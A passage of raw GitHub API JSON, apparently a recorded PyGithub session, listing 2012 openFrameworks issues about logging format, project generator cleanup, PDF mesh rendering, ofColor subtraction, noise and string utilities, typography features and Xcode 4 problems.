ofLog output","labels":[],"created_at":"2012-04-08T21:13:14Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":4023525,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1151.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1151.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1151"},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1151"},{"updated_at":"2012-04-17T14:47:36Z","body":"\r\nWorking on the project generator, which has a fair amount of logging, I'm concerned about how much space we loose on each line: \r\n\r\n OF: OF_LOG_NOTICE:\r\n\r\nit's about 15-20 characters or so, pretty significant where each line is 80, so alot more wrapping happens then I'd like, making the results less cleaner or organized. \r\n\r\nI propose we alter \r\n\r\n string ofGetLogLevelName(ofLogLevel level){\r\n switch(level){\r\n case OF_LOG_VERBOSE:\r\n return \"OF_LOG_VERBOSE\";\r\n break;\r\n case OF_LOG_NOTICE:\r\n return \"OF_LOG_NOTICE\";\r\n break;\r\n case OF_LOG_WARNING:\r\n return \"OF_LOG_WARNING\";\r\n break;\r\n case OF_LOG_ERROR:\r\n return \"OF_LOG_ERROR\";\r\n break;\r\n case OF_LOG_FATAL_ERROR:\r\n return \"OF_LOG_FATAL_ERROR\";\r\n break;\r\n case OF_LOG_SILENT:\r\n return \"OF_LOG_SILENT\";\r\n break;\r\n default:\r\n return \"\";\r\n }\r\n }\r\n\r\nso that we can have something like : \r\n\r\n (of:notice) \r\n (of:verbose) \r\n (of:error) \r\n\r\nor something smaller and if we loose the all caps, maybe less threatening :)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1150","comments":4,"milestone":null,"number":1150,"assignee":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"closed_at":null,"title":"propose shortening ofLog console message length","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2012-04-08T20:32:49Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4023305,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1150"},{"updated_at":"2012-04-07T15:00:32Z","body":"Hey all\r\n\r\nA few sections of the repo need some love to put them in line with the project generator:\r\n\r\n1. Readme's\r\n2. Rogue old project generators\r\n3. Document complementing tools\r\n\r\n# Readme\r\n\r\nThe readme's in the root of the repo need some love\r\nnone of them mention project generator \r\n\r\ni feel like each should be a description of how to get to a working project generator on each of the respective platforms\r\n\r\nalso note:\r\n* .vs2010 is missing\r\n* readme.txt repeats information from the other readme's (i.e. it's a list of platform specific instructions)\r\ni think this should be perhaps a little description of oF and a few tips on how to get started\r\n\r\n# Rogue old 'project generators' / documenting complementary tools for project generator\r\n\r\nHere's things I can find in the repo which don't make sense to me at the moment:\r\n\r\n* `openFrameworks\\scripts\\????\\compileAllExamples.bat`\r\n** is this supposed to be run (optionally) after the project generator?\r\n** why is the project template within this folder?\r\n* `openFrameworks\\scripts\\????\\createProjects.py` \r\n** if this isn't supposed to be used anymore, lets delete it immediately (we can always recover in emergencies)\r\n\r\nand the 'other' folder in the root.. perhaps never took off?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146","comments":0,"milestone":null,"number":1146,"assignee":null,"closed_at":null,"title":"Document Project Generator / clean out old tools","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"created_at":"2012-04-07T14:43:53Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4015514,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1146"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4980'), ('content-length', '51857'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"486232af96fd8aa5ef0ba6e0afe32983"'), ('date', 'Tue, 29 May 2012 06:43:36 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-04-07T19:49:31Z","body":"When attempting to render a mesh to a PDF the ofCairoRender does not output a filled mesh, thus the PDF output looks empty. \r\n\r\nIf you open the file in illustrator you'll see the paths, there but with no stroke or fill. \r\n\r\nWhen I dug into the issue a bit further I realized that Cairo isn't capable of rendering shapes with per vertex colors easily...\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145","comments":3,"milestone":null,"number":1145,"assignee":null,"closed_at":null,"title":"ofCairoRenderer ofMesh doesn't render properly to PDF","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2012-04-06T22:02:01Z","state":"open","user":{"url":"https://api.github.com/users/rezaali","gravatar_id":"548374013b9c6e50ebbd2294e12d4f31","avatar_url":"https://secure.gravatar.com/avatar/548374013b9c6e50ebbd2294e12d4f31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"rezaali","id":555207},"id":4010494,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1145"},{"updated_at":"2012-05-01T04:21:01Z","body":"When using the ofColor subtraction operator, negative results are clamped to positive values instead of 0. Values are circulating between 0 and 255, which could be useful for hue in HSV but in most cases (R, G, B..) is not what I would expect.\r\n\r\n ofColor a(10, 40, 80);\r\n ofColor b(20, 5, 30);\r\n ofColor c = (a-b); // I get: (246, 45, 50), I would expect: (0, 45, 50)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1144,"assignee":null,"closed_at":null,"title":"ofColor subtraction and negative values","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2012-04-06T07:56:44Z","state":"open","user":{"url":"https://api.github.com/users/jembezmamy","gravatar_id":"69a23dc9914cb6bc3202c50e15eabba0","avatar_url":"https://secure.gravatar.com/avatar/69a23dc9914cb6bc3202c50e15eabba0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jembezmamy","id":720354},"id":4001148,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1144"},{"updated_at":"2012-04-04T12:07:24Z","body":"When using the dragEvent ofDragInfo I always get the following error message:\r\n\r\nwarning: Could not find object file \"/Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/openFrameworks/apps/devApps/macDragDropExample/buildGlutFrameworkHackedWindowLevel10.4/libForeground.a(macx_foreground.o)\" - no debug information available for \"/Users/mcast/Code/GLUT-ToPost/macx_foreground.m\".\r\n\r\nIt doesn't seem to hurt my code but is a bit annoying, especially early on when I wasn't sure if it had anything to do with compile failings. Not a big issue obviously, but it might confuse some other newbie's also.\r\n\r\n(OF 0.07 - Xcode 4.2.1 - OS X 10.7.3 - macbook pro) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1138","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1138,"assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"closed_at":null,"title":"benign error message","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"created_at":"2012-04-04T11:05:57Z","state":"open","user":{"url":"https://api.github.com/users/davideo71","gravatar_id":"42c3c1acbdb4a998d8096b49745219cd","avatar_url":"https://secure.gravatar.com/avatar/42c3c1acbdb4a998d8096b49745219cd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"davideo71","id":1611385},"id":3968742,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1138"},{"updated_at":"2012-04-03T17:37:10Z","body":"theo's #1133 made me think about ways that i use noise regularly that might also be abstracted.\r\n\r\ni would also like to see versions of noise that return multidimensional results. normally i do something like:\r\n\r\n\tofVec2 a(ofSignedNoise(t, 0), ofSignedNoise(0, t)); // 1D -> 2D\r\n\tofVec2 b(ofSignedNoise(x, 0), ofSignedNoise(0, y)); // 2D -> 2D\r\n\tofVec3 c(ofSignedNoise(t, 0, 0), ofSignedNoise(0, t, 0), ofSignedNoise(0, 0, t)); // 1D -> 3D\r\n\tofVec3 d(ofSignedNoise(x, 0, 0), ofSignedNoise(0, y, 0), ofSignedNoise(0, 0, (x + y) / 2)); // 2D -> 3D\r\n\r\nand it would be good to spend some time making sure these are really good ways of doing it, then implement them inside some functions like `ofSignedNoise2()` and `ofSignedNoise3()` (for example).","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134","comments":2,"milestone":null,"number":1134,"assignee":null,"closed_at":null,"title":"multidimensional noise output","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2012-04-01T16:44:55Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":3917377,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1134"},{"updated_at":"2012-04-01T17:48:12Z","body":"ie: the equivalent of doing \r\n\r\nfloat rate = 0.02 + ofNoise(ofGetElapsedTimeF() * 0.02, 100.0) * 0.015;\r\nfloat value = ofSignedNoise( rate, x, y ); \r\n\r\nas one function. \r\n\r\nalso see kyle's #1134 for other noise utils. \r\n\r\nI find myself needing this quite often for more natural random motion where the rate of change is variable. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133","comments":0,"milestone":null,"number":1133,"assignee":null,"closed_at":null,"title":"ofNoise and ofSignedNoise with 2nd order control for rate.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2012-04-01T15:45:11Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":3917018,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1133"},{"updated_at":"2012-04-02T02:05:52Z","body":"This is a feature discussion issue for what string features we should add to of.\r\nofZach mentioned some regexp ones from P5 match matchAll\r\nWould be great to get some eyes on this.\r\n\r\nOne approach would be a static class or namespace.\r\nThe idea would be we could include a variety of handy functions that would be useful for people not wanting to get into regexp\r\n\r\n\tofString::contains(str, \"apple\") //returns bool\r\n\tofString::starts(str, \"The\") //returns bool\r\n\tofString::ends(str, \".\") //returns bool\r\n\tofString::count(str, \"apples\") //count how many times apples appears in the \r\n\tofString::join(myVectorStr, \", \"); //this is currently ofJoinString\r\n\tofString::split(someText, \".\"); //this is currently ofSplitString\r\n\tofString::split(someHtml, \"<\", \">\"); //this is the same but returns a vector of things between the start and end delims\r\n\tofString::limit(someText, 200); //limit the text to 200 characters. optional arg to add ... to the end.\r\n\r\nQuestions:\r\n- Should we mirror P5 with match and matchAll or should we indicate that regexp is required? ie regexMatch regexMatchAll ?\r\n- Other string utils we could add?\r\n- Should it be ofStringUtils:: or ofString:: ?\r\n- Something to do a split and then return a vector of float int etc?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132","comments":6,"milestone":null,"number":1132,"assignee":null,"closed_at":null,"title":"ofStringUtils:: feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2012-03-31T17:52:48Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":3911629,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1132"},{"updated_at":"2012-05-27T17:40:30Z","body":"This is a feature discussion issue for what should be added / changed to ofTTF.\r\nWould be great to get some eyes on this from @vtron @ofzach @arturoc and anyone with thoughts on the matter.\r\n\r\nTextAreas:\r\n- Fit text to a box\r\n- Handle overflow ( ie either truncate or resize box height )\r\n- non ragged options\r\n- could textAreas work with both ofTTF and ofDrawBitmapString ? abstract text formatting?\r\n\r\nAlignment:\r\n- Left align a string\r\n- Right align\r\n- Center\r\n- Top align \r\n- Base align \r\n\r\nSpacing:\r\n- Kerning\r\n- Leading / line height\r\n\r\nLoading:\r\n- Allow for loading a font up to a max size for drawing at different sizes. \r\n- Allow for selection and loading of specific sizes within one object. ie: myFont.setCurrentSize(12); \r\n- Font family's / sets ? Bold, Italic etc? \r\n\r\nDrawing:\r\n- Allow for drawing font at different sizes. Scale font as needed. \r\n\r\nFormatting:\r\n- Could we somehow allow a string to have different colors, sizes. Right now it is a pain to change colors or sizes. \r\n- would this be replicating basic html or another approach? maybe better as an addon?\r\n\r\nInfo:\r\n- Ability to get the x and y position of the nth character in the string? useful maybe for cursor or selection?\r\n\r\n**Update:**\r\n-Underline\r\n-Render rect behind text ( a la what @kylemcdonald added to ofDrawBitmapString)\r\n-Scale type to fit a rect + keep aspect ratio\r\n-Crazy: text along a path :) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131","comments":25,"milestone":null,"number":1131,"assignee":null,"closed_at":null,"title":"ofTTF feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"created_at":"2012-03-31T17:36:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":3911537,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1131"},{"updated_at":"2012-03-31T14:44:01Z","body":"Agree on a common format for a header in the contributed example files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1130,"assignee":null,"closed_at":null,"title":"Define standard header for examples.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2012-03-31T14:44:01Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":3910580,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1130"},{"updated_at":"2012-04-24T02:12:05Z","body":"\r\n\r\nXcode 4 mangles OF projects pretty badly in the following ways: \r\n\r\na) it autogenerates schemes, and \"openframeworks\" appears as the chosen scheme\r\nb) it sometimes chooses the wrong SDK for OF -- is there a way to set that?\r\nc) debug and release are not really clear, part of this is a shift in xcode -- but it's much harder to see how things are compiled and to set release or debug\r\nd) I still had issues with OF needing to be recompiled all the time. I tried to fix this, but we should make sure it's done right. the of lib was appearing red even though it had been built, etc. \r\n\r\nI've tried to fix some of this in detroit with the PG, but I don't think it's the right way to do it. Overall, it would be great to have projects work smoothly on xcode 4...\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1129","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1129,"assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"closed_at":null,"title":"xcode 4 issues: scheme, auto-generation of schemes, rebuilding OF, sdk, etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"created_at":"2012-03-31T14:39:04Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":3910555,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1129"},{"updated_at":"2012-03-31T16:32:04Z","body":"When deprecating api's (e.g. ofEvents, ofVertexes), perhaps we could help automate the changes through simple scripts to update api\r\nSuggest sticking to something close to how uncrustify scripts are run (and perhaps there are tools like uncrustify but specifically for this task)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128","comments":1,"milestone":null,"number":1128,"assignee":null,"closed_at":null,"title":"upgrade scripts","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"created_at":"2012-03-31T14:38:19Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":3910549,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1128"},{"updated_at":"2012-04-09T16:47:04Z","body":"It would be nice (and useful for testing the PG) if the PG would get an option to clean the examples folders of all generated files. \r\n\r\nCurrently, the quickest option is to delete the examples folder on disk, and do `git reset --hard HEAD`.\r\n\r\nAs before, milestoned for 0071, but feel free to push back.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1126,"assignee":null,"closed_at":null,"title":"PG Feature request: Clean examples folder","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"created_at":"2012-03-30T12:51:30Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":3897090,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1126"},{"updated_at":"2012-03-29T16:47:29Z","body":"there is a hard limit of 100 files when using drag & drop into an of app. not sure if it's an of issue, but am curious if it comes from the hacked glutDragEventFunc ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124","comments":0,"milestone":null,"number":1124,"assignee":null,"closed_at":null,"title":"void dragEvent(ofDragInfo dragInfo) limited to 100 files in osx lion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"created_at":"2012-03-29T16:47:29Z","state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jesusgollonet","id":31100},"id":3883598,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1124"},{"updated_at":"2012-03-29T13:05:25Z","body":"When loading a file with ofImage, ofSoundPlayer , ofVideoPlayer-file or any ofFile it would be nice to be able to know if the file changed since it was loaded.\r\n\r\nIts very simple to implement with Poco::File->getLastModified() and it would be very nice if this would be built into the above classes.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120","comments":2,"milestone":null,"number":1120,"assignee":null,"closed_at":null,"title":"isFileChanged() for ofImage, ofVideoPlayer, ofSoundPlayer and ofFile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2012-03-28T16:21:45Z","state":"open","user":{"url":"https://api.github.com/users/imanhp","gravatar_id":"7398ab0bbd07832d0289f26773e65077","avatar_url":"https://secure.gravatar.com/avatar/7398ab0bbd07832d0289f26773e65077?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"imanhp","id":1216228},"id":3856005,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1120"},{"updated_at":"2012-03-30T12:19:59Z","body":"paths.make should be in the repo as an example on how to set it up correctly, but changes (i.e. paths unique to every user) to it should be ignored cause everyone will have a different version in their computers so we don't want personal changes to appear in git status.\r\n\r\nI think the best way to solve this is to rename it to paths.make.default, keep this in the repo, maybe with `` instead of your path, and have people make their own paths.make from that one. We track changes to paths.make.default and ignore paths.make. \r\n\r\nThis will probably also need a mechanism in the makefile to fail gracefully and remind the user, if his customized paths.make is missing.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1118","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 